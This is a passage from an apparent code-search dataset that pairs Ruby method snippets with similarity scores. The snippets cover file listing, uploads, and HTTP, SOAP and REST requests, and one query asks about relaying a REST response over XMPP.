true,\n :children => gchildren,\n :selected => false\n })\n end\n } \n end\n \n #if this type has folders, run queries to grab all metadata in the folders\n if is_folder_metadata == true \n next if el[:manageable_state] != \"unmanaged\"\n folders = \"<folder>#{el[:full_name]}</folder>\"\n begin\n response = self.mclient.request :list_metadata do |soap|\n soap.header = get_soap_header \n soap.body = \"<ListMetadataQuery><type>#{type}</type>#{folders}</ListMetadataQuery>\"\n end\n rescue Savon::SOAP::Fault => fault\n raise Exception.new(fault.to_s)\n end\n \n folder_elements = [] \n folder_hash = response.to_hash \n if folder_hash[:list_metadata_response] && folder_hash[:list_metadata_response][:result]\n if folder_hash[:list_metadata_response][:result].kind_of? Hash\n folder_elements.push(folder_hash[:list_metadata_response][:result])\n else\n folder_elements = folder_hash[:list_metadata_response][:result]\n end \n end\n \n folder_elements.each { |folder_el|\n children.push({\n :title => folder_el[:full_name].split(\"/\")[1],\n :key => folder_el[:full_name],\n :isLazy => false,\n :isFolder => false,\n :selected => false\n })\n } \n end\n \n els.push({\n :title => el[:full_name],\n :key => el[:full_name],\n :isLazy => is_folder_metadata || has_children_metadata,\n :isFolder => is_folder_metadata || has_children_metadata,\n :children => children,\n :selected => false\n })\n }\n els.sort! { |a,b| a[:title].downcase <=> b[:title].downcase }\n \n if format == \"json\"\n return els.to_json\n else\n return els\n end\n rescue Exception => e\n puts \"\\n\\n\\n\" + e.message + \"\\n\" + e.backtrace.join(\"\\n\")\n end\n end",
"def index\n @title = \"User uploaded files\"\n get_files(params)\n end",
"def new\n @file_list = UploadedFileList.find(params[:uploaded_file_list_id])\n @file_list_item = @file_list.file_list_items.build\n \n @page_section = @file_list.page_section\n @page = @page_section.page\n @site_section = @page.site_section\n\n respond_to do |format|\n format.js\n format.html # new.html.erb\n format.xml { render :xml => @file_list_item }\n end\n end",
"def read(files); end",
"def read(files); end",
"def files_list(params = {})\n response = @session.do_post \"#{SCOPE}.list\", params\n Slack.parse_response(response)\n end",
"def files\n result = form.select_files.map { |label, id| { id: id, text: label } }\n render json: result\n end",
"def files\n result = form.select_files.map do |label, id|\n { id: id, text: label }\n end\n render json: result\n end",
"def process_file_list(file_list)\n file_list.each do |filename|\n File.open(filename) { |f| process(f, filename) }\n end\n end",
"def get_files_list_with_http_info(path, storage_name = nil)\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SlidesApi.get_files_list ...'\n end\n\n # verify the required parameter 'path' is set\n if @api_client.config.client_side_validation && path.nil?\n fail ArgumentError, \"Missing the required parameter 'path' when calling SlidesApi.get_files_list\"\n end\n # resource path\n local_var_path = '/slides/storage/folder/{path}'\n local_var_path = @api_client.replace_path_parameter(local_var_path, 'path', path)\n\n # query parameters\n query_params = {}\n query_params[:'storageName'] = @api_client.prepare_for_query(storage_name) unless storage_name.nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # http body (model)\n post_body = nil\n\n # form parameters\n post_files = []\n\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :body => post_body,\n :files => post_files,\n :auth_names => auth_names,\n :return_type => 'FilesList')\n return data, status_code, headers\n end",
"def files\n FileList.new(`#@native.files`)\n end",
"def files\n result = form.select_files.map do |label, id|\n { id: id, text: label }\n end\n render json: result\n end",
"def files\n result = form.select_files.map do |label, id|\n { id: id, text: label }\n end\n render json: result\n end",
"def upload\n begin\n solve(@viewable_list,@browse_list)\n render :result\n rescue Exception => e\n raise_error INCORRECT_DATA\n end\n end",
"def loadlist _file, _append\n send_cmd(\"loadlist #{_file} #{_append}\")\n end",
"def index\n @medusa_premis_file_objects = MedusaPremis::FileObject.all\n\n respond_to do |format|\n format.html {setup_next_and_previous_documents} # index.html.erb\n format.json { render json: @medusa_premis_file_objects }\n end\n end",
"def transform_files!(files, type) \n files.each do |file|\n parsed = \"\"\n namespace = [DEFAULT_LANGUAGE, 'txt', type] + Base.get_namespace(file, type)\n puts \"Converting: \" + file + \" into namespace: \"\n puts namespace.map {|x| \"[\\\"#{x}\\\"]\"}.join(\"\")\n \n n = Namespace.new(namespace)\n \n contents = Base.get_file_as_string(file)\n parsed << GettextI18nConvertor.string_to_i18n(contents, n)\n \n #puts parsed\n # write the file\n \n File.open(file, 'w') { |file| file.write(parsed)}\n \n \n \n n.merge(@translations)\n end\n end",
"def cmd_list(file_spec)\n cmd_listing_impl(file_spec, 'format_list_entry')\n end",
"def list_post(file_path)\n YAML::load(File.read(file_path));\nend",
"def get_files_list(request)\n http_request = request.to_http_info(@api_client.config)\n make_request(http_request, :GET, 'FilesList')\n end",
"def files\n array = []\n @list.each do |k,v|\n array += v.filename\n end\n array\n end",
"def index\n @translated_files = TranslatedFile.all\n end",
"def files\n db = Database.find(params[:id])\n @files = Dir.entries(db.path)\n @files.delete_if{|f| !f.include?'.dat'}\n @results = []\n @files.each do |entry|\n @results << {:name=>entry,:version=>db.version}\n end\n respond_to do |format|\n format.html\n format.json { render json: @results }\n end\n end",
"def extract_files(files)\n return RubyLint::FileList.new.process(files)\n\n rescue Errno::ENOENT => error\n abort error.message\n end",
"def list_files\n User.sync_files!(@context)\n files = user_real_files(params, @context)\n\n if unsafe_params[:limit] && unsafe_params[:offset]\n files = files.limit(unsafe_params[:limit]).offset(unsafe_params[:offset])\n end\n\n search_string = params[:search_string].presence || \"\"\n\n result = files.eager_load(:license, user: :org).\n where(\"nodes.name LIKE ?\", \"%#{search_string}%\").\n order(id: :desc).map do |file|\n describe_for_api(file, unsafe_params[:describe])\n end.compact\n\n render json: unsafe_params[:offset]&.zero? ? { objects: result, count: result.length } : result\n end",
"def index\n @resource_import_files = ResourceImportFile.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"def upload_species_list\n begin\n species_upload = params[:upload]\n new_records = Taxon.parse_from_file(species_upload, current_user)\n redirect_to taxons_path, notice: \"Upload successful - new/updated species added: #{new_records[:new_species]}, new/updated assemblies added: #{new_records[:new_assemblies]}, new/updated annotations added: #{new_records[:new_annotations]}\"\n rescue => e\n ErrorTracker.report_exception(e, current_user, @study, params)\n Rails.logger.error \"Error parsing uploaded species file: #{e.message}\"\n redirect_to taxons_path, alert: \"An error occurred while parsing the uploaded file: #{e.message}\"\n end\n end",
"def parse_selected_files\n params[:selected_files].each_pair do |_index, file_info|\n next if file_info.blank? || file_info[\"url\"].blank?\n if file_info[\"file_size\"].to_i > ScholarSphere::Application.config.max_upload_file_size\n error_files << \"#{file_info['file_name']} (#{number_to_human_size(file_info['file_size'].to_i)})\"\n else\n create_file_from_url(file_info[\"url\"], file_info[\"file_name\"])\n end\n end\n end",
"def parse!\n unless @type.nil? || VALID_TASKS.include?(@type)\n raise TaskList::Exceptions::InvalidTaskTypeError.new type: @type\n end\n\n @files.each { |f| parsef! file: f }\n end",
"def files; end",
"def files; end",
"def files; end",
"def files; end",
"def files; end",
"def files; end",
"def normalized_file_list(relative_files, force_doc = false,\n exclude_pattern = nil)\n file_list = {}\n\n relative_files.each do |rel_file_name|\n rel_file_name = rel_file_name.sub(/^\\.\\//, '')\n next if rel_file_name.end_with? 'created.rid'\n next if exclude_pattern && exclude_pattern =~ rel_file_name\n stat = File.stat rel_file_name rescue next\n\n case type = stat.ftype\n when \"file\" then\n mtime = (stat.mtime unless (last_modified = @last_modified[rel_file_name] and\n stat.mtime.to_i <= last_modified.to_i))\n\n if force_doc or RDoc::Parser.can_parse(rel_file_name) then\n file_list[rel_file_name] = mtime\n end\n when \"directory\" then\n next if rel_file_name == \"CVS\" || rel_file_name == \".svn\"\n\n created_rid = File.join rel_file_name, \"created.rid\"\n next if File.file? created_rid\n\n dot_doc = File.join rel_file_name, RDoc::DOT_DOC_FILENAME\n\n if File.file? dot_doc then\n file_list.update(parse_dot_doc_file(rel_file_name, dot_doc))\n else\n file_list.update(list_files_in_directory(rel_file_name))\n end\n else\n warn \"rdoc can't parse the #{type} #{rel_file_name}\"\n end\n end\n\n file_list\n end",
"def uploadurls\n @job = Job.find(params[:id])\n respond_to do |format|\n @url_list = @job.uploadurls(params[:upload_type], params[:files])\n if !@url_list.blank?\n format.html \n format.xml { render :xml => { :files => @url_list } }\n else\n @job.errors.add_to_base('Bad files list')\n format.html { render :action => \"show\" }\n format.xml { render :xml => { 'error' => 'bad files list'}, :status => :unprocessable_entity }\n end\n end\n end",
"def list_assets\n @list = []\n\n raise DRI::Exceptions::BadRequest unless params[:objects].present?\n\n solr_query = ActiveFedora::SolrQueryBuilder.construct_query_for_ids(\n params[:objects].map { |o| o.values.first }\n )\n result_docs = Solr::Query.new(solr_query)\n result_docs.each do |doc|\n item = list_files_with_surrogates(doc)\n @list << item unless item.empty?\n end\n\n raise DRI::Exceptions::NotFound if @list.empty?\n\n respond_to do |format|\n format.json\n end\n end",
"def index\n @uploaded_files = @page.uploaded_files.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @uploaded_files }\n end\n end",
"def parse_project_files(project)\r\n @files = []\r\n @server.projects.each{ |p|\r\n next if project != '*' and project != p.name\r\n p.views.each { |v|\r\n parse_folder(v.rootfolder)\r\n #break\r\n }\r\n }\r\n end",
"def extract_filenames(source, filepath, filelist)\n case source.class.to_s\n when 'String'\n filelist << filepath + source\n filepath = ''\n when 'Array'\n source.each do |item|\n extract_filenames(item, filepath, filelist)\n end\n when 'Hash'\n source.each do |key, value|\n filepath << key + '/'\n extract_filenames(value, filepath, filelist)\n end\n end\n filelist\n end",
"def list(client, current_path)\n\n\tfiles = Dir.glob(\"#{current_path}/files/*\")\n\tclient.puts \"\\nList of Files:\"\n\tfiles.each{ |file|\n\tfile.slice! \"#{current_path}/files/\"}\n\tclient.puts files\n\nend",
"def parse_files\n #Hash to store our results\n @host_results = Hash.new\n @log.debug(\"Files to be looked at : #{@scan_files.join(', ')}\")\n @scan_files.each do |file| \n file_content = File.open(file,'r').read\n begin\n @log.debug(\"File name is \" + file)\n doc = JSON.parse(file_content)\n rescue JSON::ParserError => e\n @log.warn(\"We got an error parsing #{file}\")\n next\n end\n #Make sure that the file is actually XML\n begin\n @log.debug(\"Got a sslyze file called #{file}, processing\")\n parse_file(doc)\n rescue Exception => e\n @log.warn(\"We got an error parsing #{file}\")\n @log.warn(e)\n end\n end\n end",
"def assets\n @list = []\n\n raise DRI::Exceptions::BadRequest unless params[:objects].present?\n\n solr_query = Solr::Query.construct_query_for_ids(\n params[:objects].map { |o| o.values.first }\n )\n result_docs = Solr::Query.new(solr_query)\n result_docs.each do |doc|\n item = {}\n item['pid'] = doc.id\n item['files'] = assets_and_surrogates(doc)\n\n @list << item unless item.empty?\n end\n\n raise DRI::Exceptions::NotFound if @list.empty?\n\n respond_to do |format|\n format.json\n end\n end",
"def files\n list = []\n if @data['info'].key?('files')\n @data['info']['files'].each do |file|\n list << { 'name' => file['path'], 'length' => file['length'] }\n end\n return list\n end\n\n if @data['info'].key?('name') && @data['info'].key?('length')\n list << { 'name' => @data['info']['name'], 'length' => @data['info']['length'] }\n end\n list\n end",
"def files\n results\n rescue ApiStruct::EntityError\n result\n end",
"def index\n @authorized = true\n begin\n authorize! :show, UploadFile\n rescue CanCan::AccessDenied\n @authorized = false\n end\n #added to avoid raise condition when initially uploading multiple files\n check_uploads_collection unless !@authorized\n\n respond_to do |format|\n format.json {\n #TODO find_by_solr could be faster \n @multiresimages = current_user.upload_files.map do |file|\n begin\n Multiresimage.find(file.pid)\n rescue ActiveFedora::ObjectNotFoundError\n end\n end.compact\n render :json=>@multiresimages.map(&:to_jq_upload)\n }\n format.html\n end\n end",
"def list_2_file (list,file)\n\t\tputs \"Save list #{list} to plain file #{file}\" if @verbose\n\t\tbegin\n\t\t\tf = File.open(file, \"w\")\n\t\t\tlist.map do |ent|\n\t\t\t\t#ent.strip!\n\t\t\t\t# Append the unix line break\n\t\t\t\tf.write(\"#{ent}\\n\")\n\t\t\tend\n\t\t\tf.close\n\t\trescue => ee\n\t\t\tputs \"Exception on method #{__method__} for file #{file}: #{ee}\" if @verbose\n\t\t\treturn nil\n\t\tend\n\tend",
"def file_2_list(f,lc=true)\n\t\tputs \"Loading records from file: #{f}\" if @verbose\n\t\tbegin\n\t\t\tlist=Array.new\n\t\t\tfile = File.open(f, \"r\")\n\t\t\tfile.each_line do |line|\n\t\t\t\tline=line.chomp.strip\n\t\t\t\tnext if line.nil?\n\t\t\t\tnext if line.empty?\n\t\t\t\tnext if line =~ /^\\s*#/\n\t\t\t\tline=line.downcase if lc==true\n\t\t\t\tlist.push(line.chomp.strip)\n\t\t\tend\n\t\t\tfile.close\n\t\t\treturn list\n\t\trescue => ee\n\t\t\tputs \"Exception on method #{__method__} for file #{f}: #{ee}\" if @verbose\n\t\t\treturn nil\n\t\tend\n\tend",
"def file_2_list(f,lc=true)\n puts \"Loading records from file: #{f}\" if @verbose\n begin\n list=Array.new\n file = File.open(f, \"r\")\n file.each_line do |line|\n line=line.chomp.strip\n next if line.nil?\n next if line.empty?\n next if line =~ /^\\s*#/\n line=line.downcase if lc==true\n list.push(line.chomp.strip)\n end\n file.close\n return list\n rescue => ee\n puts \"Exception on method #{__method__} for file #{f}: #{ee}\" if @verbose\n return nil\n end\n end",
"def process_file(file, files)\n # puts \"processing file #{file.to_s}\"\n case check_file_ext(file)\n when 'atp'\n files << file unless files.include?(file)\n when 'avc'\n files << file unless files.include?(file)\n when 'list'\n parse_list(file, files)\n end\n end",
"def parse_file(filename); end",
"def initialize( list )\r\n case list\r\n when String\r\n source = list && File.exist?( list ) ? File.readlines( list ) : list.lines\r\n when Array \r\n source = list\r\n else\r\n abort \"List can be given as a file name, String or Array. The class of the currently used list '#{list}' is: #{list.class}.\"\r\n end\r\n raw = source.map(&:chomp).select { |line| line if !line.match(/^\\s*$/) }\r\n @list = step raw\r\n end",
"def validate_file_list_contents\n keys = self.original_file_list.map(&:keys).flatten.uniq.sort\n unless (keys & FILE_LIST_KEYS) == keys\n errors.add(:original_file_list, \" is formatted incorrectly. This must be an array of Hashes with the keys #{FILE_LIST_KEYS.join(', ')}.\" )\n end\n self.original_file_list.each do |file|\n unless StudyFile::STUDY_FILE_TYPES.include?(file['file_type'])\n errors.add(:original_file_list, \" contains a file of an invalid type: #{file['file_type']}\")\n end\n end\n unless match_bundle_type.any?\n errors.add(:original_file_list, \" does not contain a file of the specified bundle type: #{self.bundle_type}\")\n end\n if match_bundle_type.size > 1\n errors.add(:original_file_types, \" contains files of incompatible types: #{match_bundle_type.join(', ')}\")\n end\n end",
"def index\n @filenames = Filename.all\n end",
"def files\n entries.map(&:filepath)\n end",
"def index\n @resource_import_file = ResourceImportFile.find_by(id: params[:resource_import_file_id])\n if @resource_import_file\n if request.format.text?\n @resource_import_results = @resource_import_file.resource_import_results\n else\n @resource_import_results = @resource_import_file.resource_import_results.page(params[:page])\n end\n else\n @resource_import_results = ResourceImportResult.page(params[:page])\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.text\n end\n end",
"def call\n list = JSON.parse(Base64.urlsafe_decode64(@params['list']))\n Success(list)\n rescue StandardError\n Failure(Value::Result.new(status: :bad_request,\n message: 'Project list not found'))\n end",
"def b2_list_file_names(file)\n\n auth_hash = convert_json(b2_authorize_account)\n api_url = auth_hash[\"apiUrl\"]\n account_authorization_token = auth_hash[\"authorizationToken\"]\n bucket_id = ENV['bucket_id']\n prefix = file\n\n uri = URI(\"#{api_url}/b2api/v1/b2_list_file_names\")\n req = Net::HTTP::Post.new(uri)\n req.add_field(\"Authorization\",\"#{account_authorization_token}\")\n req.body = \"{\\\"bucketId\\\":\\\"#{bucket_id}\\\", \\\"prefix\\\":\\\"#{prefix}\\\"}\"\n http = Net::HTTP.new(req.uri.host, req.uri.port)\n http.use_ssl = true\n res = http.start {|http| http.request(req)}\n\n case res\n when Net::HTTPSuccess then res.body\n when Net::HTTPRedirection then fetch(res['location'], limit - 1)\n else res.error!\n end\n\nend",
"def parse_in_order(*files); end",
"def perform(list, file)\n list.import_csv(file)\n end",
"def parse\n uploader = FileUpload.new(params[:contacts])\n uploader.parse\n \n unless uploader.errors.empty?\n @uploader = uploader\n render :action=>:new\n return\n end\n \n @columns = uploader.columns.map{|col| [(col+\" (column #{uploader.columns.index(col)+1})\").downcase,col.downcase]}\n @columns.unshift([\"Select\",nil])\n\n # Security reason this has been saved in Session. \n session[:filename] = uploader.new_filename\n\n end",
"def parse\r\n\t\tCSV.foreach(self.filepath) {|row| @list << row}\r\n\t\t@list.flatten!\r\n\tend",
"def index\n @poblamiento_file_formats = PoblamientoFileFormat.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @poblamiento_file_formats }\n end\n end"
] |
[
"0.6782541",
"0.64948356",
"0.63992697",
"0.6367416",
"0.6338561",
"0.62984675",
"0.62974167",
"0.62750435",
"0.6228616",
"0.6228616",
"0.60483444",
"0.60082644",
"0.5988064",
"0.59854835",
"0.59854835",
"0.5980261",
"0.59727013",
"0.59727013",
"0.59587497",
"0.5948371",
"0.5939122",
"0.5880207",
"0.5877552",
"0.5853836",
"0.58484715",
"0.5843618",
"0.58316743",
"0.57984394",
"0.57983536",
"0.57535136",
"0.5736765",
"0.5708532",
"0.57063013",
"0.5676362",
"0.5670186",
"0.56626856",
"0.5658013",
"0.5656918",
"0.56559604",
"0.565539",
"0.565539",
"0.5648645",
"0.56207204",
"0.5618844",
"0.5616502",
"0.56157327",
"0.5592256",
"0.5591988",
"0.5591988",
"0.5578644",
"0.55532706",
"0.5552629",
"0.55401564",
"0.5536302",
"0.5521235",
"0.5518942",
"0.55143034",
"0.55095726",
"0.55012935",
"0.54998434",
"0.5495434",
"0.54793125",
"0.5479231",
"0.5478387",
"0.5457449",
"0.5436498",
"0.5436498",
"0.5436498",
"0.5436498",
"0.5436498",
"0.5436498",
"0.54291004",
"0.54276276",
"0.5418616",
"0.5414252",
"0.54133457",
"0.5390989",
"0.53767544",
"0.5376406",
"0.5373368",
"0.5365679",
"0.53642136",
"0.53569084",
"0.5354228",
"0.5345977",
"0.53433204",
"0.53401124",
"0.5338563",
"0.5328942",
"0.5318958",
"0.53181624",
"0.5312911",
"0.530215",
"0.529885",
"0.529868",
"0.5295074",
"0.52935386",
"0.52905285",
"0.528842",
"0.52804667"
] |
0.59396434
|
20
|
General method for first sending http to visualREST and then returning the response to xmppclient that sent the xmpp2rest message
|
def httpAndNotify(path, params, msg_from, method)
message = ""
begin
m = ""
if method == :get
m = "GET"
elsif method == :post
m = "POST"
elsif method == :put
m = "PUT"
elsif method == :delete
m = "DELETE"
else
raise Exception.new("Wrong method! use: :get, :post, :put or :delete!")
end
puts "HTTP #{m} to: #{@@http_host + path}"
res = HttpRequest.new(method, path, params).send(@@http_host)
message = "#{res.code.to_s}; #{res.body}; #{path}"
rescue Exception => e
puts "Error: " + e.to_s
puts " -- line #{e.backtrace[0].to_s}"
message = "#{e.to_s}; #{path}"
end
# Notifies the xmpp-client about the http-rest result
puts "xmpp-response"
notification = {:receiver => msg_from, :message => message}
sendMessage(notification, @receive_client)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def http_send_action\n http = http_inst\n req = http_post\n Response.new http.request req\n end",
"def request\n self.response = prepare_response(http_communication.content)\n end",
"def send_request; end",
"def execute\n\n case @template[:payload][:method]\n when 'get'\n begin\n out = RestClient.get @template[:payload][:uri]\n response = {:status => 200, :message => \"[i2] GET request on #{@template[:payload][:uri]} executed.\", :id => @template[:payload][:uri], :response => out.to_str}\n rescue Exception => e\n response = {:status => 400, :message => \"Unable to perform GET request, #{e}\"}\n Services::Slog.exception e\n end\n when 'post'\n begin\n\n case @template[:payload][:message]\n when 'form'\n out = RestClient.post @template[:payload][:uri], @template[:payload]\n when 'text/plain'\n out = RestClient.post @template[:payload][:uri], @template[:payload][:content], :content_type => 'text/plain'\n when 'application/javascript'\n if @template[:payload][:content].nil?\n out = RestClient.post @template[:payload][:uri], @template[:payload].to_json, :content_type => 'application/javascript'\n else\n out = RestClient.post @template[:payload][:uri], @template[:payload][:content], :content_type => 'application/javascript'\n end\n when \"application/json\"\n if @template[:payload][:content].nil?\n out = RestClient.post @template[:payload][:uri], @template[:payload].to_json, :content_type => 'application/json'\n else\n out = RestClient.post @template[:payload][:uri], @template[:payload][:content], :content_type => 'application/json'\n end\n when 'application/xml'\n if @template[:payload][:content].nil?\n out = RestClient.post @template[:payload][:uri], @template[:payload].to_xml, :content_type => 'application/xml'\n else\n out = RestClient.post @template[:payload][:uri], @template[:payload][:content], :content_type => 'application/xml'\n end\n when 'text/xml'\n if @template[:payload][:content].nil?\n out = RestClient.post @template[:payload][:uri], @template[:payload].to_xml, :content_type => 'text/xml'\n else\n out = RestClient.post @template[:payload][:uri], @template[:payload][:content], :content_type => 'text/xml'\n end\n when 'text/html'\n out = RestClient.post @template[:payload][:uri], @template[:payload][:content], :content_type => 'text/html'\n end\n\n response = {:status => 200, :message => \"[i2] POST request on #{@template[:payload][:uri]} executed.\", :id => @template[:payload][:uri], :response => out.to_str}\n rescue Exception => e\n response = {:status => 400, :message => \"Unable to perform POST request, #{e}\"}\n end\n when 'put'\n begin\n\n rescue Exception => e\n response = {:status => 440, :message => \"Unable to perform PUT request (not implemented), #{e}\"}\n end\n when 'delete'\n begin\n\n rescue Exception => e\n response = {:status => 440, :message => \"Unable to perform DELETE request (not implemented), #{e}\"}\n end\n end\n response\n end",
"def http; end",
"def send\n http = EM::HttpRequest.new(@uri).post(@request_options)\n\n http.callback do\n process(http.response)\n end\n\n http.errback do\n fail(http.error)\n end\n end",
"def call\n uri = URI(full_url)\n\n request = Net::HTTP::Post.new(uri)\n default_headers.each { |k, v| request[k] = v }\n request.body = to_xml\n\n https = Net::HTTP.new(uri.hostname, uri.port)\n https.use_ssl = true\n https.ssl_version = :TLSv1_2_client\n if Nuncium.configuration.cert_file\n https.verify_mode = OpenSSL::SSL::VERIFY_PEER\n https.cert = Nuncium.configuration.cert_file\n https.key = Nuncium.configuration.private_key\n https.verify_depth = 5\n request.basic_auth(Nuncium.configuration.data_box, '')\n else\n request.basic_auth(\n Nuncium.configuration.username,\n Nuncium.configuration.password\n )\n end\n response = https.request(request)\n call_reponse_wrapper(response)\n end",
"def send_command(parms=nil)\n #logger.debug \"AQUIII ESTOOOY \"\n\n\n url = URI.parse(@control_url)\n #logger.debug \"URL #{@control_url}\"\n req = Net::HTTP::Get.new(url.path)\n\n\n #logger.debug \"URLpath #{url.path}\"\n if parms\n\t\t#logger.debug \"sent data #{parms.to_json}\"\n end\n \n\n req.basic_auth @username, @password if @username\n if parms\n\t\treq.set_form_data(parms)\n end\n \n \n res = Net::HTTP.new(url.host, url.port).start {|http| http.request(req) }\n res.use_ssl = true if @control_url =~ /^https/\n case res\n when Net::HTTPSuccess, Net::HTTPRedirection\n # OK\n #logger.debug \"REspuesta #{res}\"\n return res.body\n else\n res.error!\n end\n end",
"def deliver(message)\n Net::HTTP.start(EVENT_BUS_SERVER_URL.host, EVENT_BUS_SERVER_URL.port) do |http|\n request = Net::HTTP::Post.new EVENT_BUS_SERVER_URL\n request.body = message\n request.content_type = \"application/json\"\n request[\"Authorization\"] = authorization\n response = http.request request # Net::HTTPResponse object\n puts response.inspect\n\n # TODO: If the response is not 200 then there needs to be retry logic\n end\nend",
"def call\n conn = http_setup\n res = set_up_response(method.to_sym, uri, conn, headers ,body)\n\n response = HttpResponse.new(res)\n response.uri = uri\n raise response.error if !response.success? && !@has_retry_filter\n response\n end",
"def http_callback\n # sleep 4\n if @params[\"status\"] == \"error\"\n @answer_backend = {\"submit_error_message\"=> Localization::Request[:no_network]}\n WebView.navigate url_for :action => :request, :query => @answer_backend\n end\n @answer_backend = Rho::JSON.parse(@params[\"body\"])\n WebView.navigate url_for :action => :process_submit_result, :query => @answer_backend\n end",
"def net_http_res; end",
"def send\n @system = \"\"\n yield @system\n\n result = 'qf=xml&xml=' + render_template( 'auth' )\n\n @url.post( @uri.path, result, @headers.merge('Content-length' => result.length.to_s) )\n end",
"def call\n request = http_request_class.new(uri.request_uri, headers)\n request.body = body if body\n http = http_setup\n # http.set_debug_output($stdout)\n response = wait_for_completion(HttpResponse.new(http.request(request)))\n Nokogiri::XML response.body unless response.nil?\n end",
"def send_msg\n req = Net::HTTP::Post.new('/nodes/receive', initheader = {'Content-Type' =>'application/json'})\n node = Cue.find_by_id(params[:id])\n if node then\n url = uri.parse(node.url)\n req.body = node.payload\n log_action \"sending single msg #{node.id}\"\n req2 = net::http.new(url.host, url.port)\n response = req2.start {|http| http.request(req) }\n response_parse = json.parse(response.body)\n log_action(\"received from node: \" + response.body)\n node.update_attribute :is_handled, true\n end\n redirect_to request.referer\n end",
"def publish_to_http(params)\n api = params.delete(:api)\n message_id = params[:msgid]\n\n http = EventMachine::HttpRequest.new(\"http://turntable.fm/api/#{api}\").get(:query => params)\n if http.response_header.status == 200\n # Command executed properly: parse the results\n success, data = JSON.parse(http.response)\n data = {'result' => data} unless data.is_a?(Hash)\n message = data.merge('success' => success)\n else\n # Command failed to run\n message = {'success' => false, 'error' => http.error}\n end\n message.merge!('msgid' => message_id)\n\n # Run the message handler\n event = Faye::WebSocket::API::Event.new('message', :data => \"~m~#{Time.now.to_i}~m~#{JSON.generate(message)}\")\n on_message(event)\n end",
"def request\n url1 = url\n return false unless valid?\n http_response = HTTParty.post(url, :format => :plain,\n :query => @params.merge({ :cmd => @cmd }),\n :headers => {\n 'ZooZ-Unique-ID' => @unique_id,\n 'ZooZ-App-Key' => @app_key,\n 'ZooZ-Response-Type' => @response_type,\n }) if @response_type.eql?('NVP')\n\n\n\n http_response = HTTParty.post(url, :format => :json,\n :body => @params.merge({ :cmd => @cmd }),\n :headers => {\n 'ZooZDeveloperId' => @developer_id,\n 'ZooZServerAPIKey' => CGI::escape(@app_key)\n }) if @response_type.eql?('JSON')\n\n response = Response.new\n response.request = self\n response.http_response = http_response\n unless response.success?\n @errors = response.errors\n return false\n end\n response\n end",
"def smsFail1 \n response = HTTParty.post($uris, :body => {message: App.message})\nend",
"def send_and_receive\n url = to_s\n raw_response = HTTPClient.new.get(url).body\n parsed_response = BEncode::Parser.new(StringIO.new(raw_response))\n parsed_response.parse!\n end",
"def send_to(provider_name, http_method='get')\n provider = get_provider(provider_name, @domain_front)\n @request = Net::HTTP.const_get(http_method.capitalize).new(\n @front_target.request_uri, provider[:headers]\n )\n @response = @http.request(@request)\n check_http(@response) # if response failed, give the user some suggestion\n rescue SocketError => e\n puts \"#{self.class}##{__method__}:\".error\n puts e.message\n rescue Net::ReadTimeout => e\n puts \"#{self.class}##{__method__}:\".error\n puts e.message\n puts \"Remote port is closed.\".error\n exit!\n rescue Exception => e\n puts \"#{self.class}##{__method__}:\".error\n puts e.full_message\n end",
"def send_request(req); end",
"def request\n http_segments = @segments.clone\n @params.each do |key,value|\n http_segments[key] = value\n end\n \n # avoid using URI.encode\n query = ''\n http_segments.each do |key, value|\n query += \"&#{key}=#{value}\"\n end\n query = query[1..-1]\n \n uri = URI::HTTP.build(\n :host => HOST,\n :path => @action_path,\n :query => query\n ).to_s\n result = JSON.parse(HTTParty.get(uri).parsed_response)\n Baidumap::Response.new(result,self)\n end",
"def do_request(request, want_reply, data); end",
"def ctoolsHTTPDirectToDoLMSMneme(uniqname, security_file, http_application)\n logger.debug \"#{self.class.to_s}:#{__method__}:#{__LINE__}: ############### call ctools http direct Mneme todolms http_application: #{http_application}\"\n\n http_channel = ChannelCToolsDirectHTTP.new(security_file, http_application)\n http_channel.runGetCToolsSession\n\n become_user = http_channel.do_request(\"/session/becomeuser/#{uniqname}.json\")\n\n logger.debug \"#{__method__}: #{__LINE__}: becomeuser: [#{become_user}]\"\n logger.debug \"#{__method__}: #{__LINE__}: becomeuser: response: \"+become_user.inspect\n\n if /failure/i =~ become_user.to_s\n logger.debug \"#{self.class.to_s}:#{__method__}:#{__LINE__}: become user failed for user: #{uniqname}\"\n return WAPIResultWrapper.new(WAPI::HTTP_NOT_FOUND, \"CTools becomeuser failed for user: #{uniqname}\", \"{}\")\n end\n\n #/direct/mneme/my\n ctools_todos = http_channel.do_request(\"/mneme/my.json\")\n\n return WAPIResultWrapper.new(WAPI::SUCCESS, \"got mneme todos from ctools direct\", ctools_todos)\n end",
"def send_post(data_xml,url)\r\n result = @client.post(self.target_uri(url), :body => data_xml , :head => {'Content-Type' => 'application/xml'} ) \r\n raise \"Invalid status #{result.http_status} from server #{@host}:#{@port}\" if(result.http_status != '200') \r\n #reply = Reply.from_xml(result.http_body)\r\n if block_given?\r\n yield(result.http_body)\r\n else\r\n result.http_body\r\n end\r\n end",
"def make_http_request\n Net::HTTP.get_response('localhost', '/ping', 3000).body\nend",
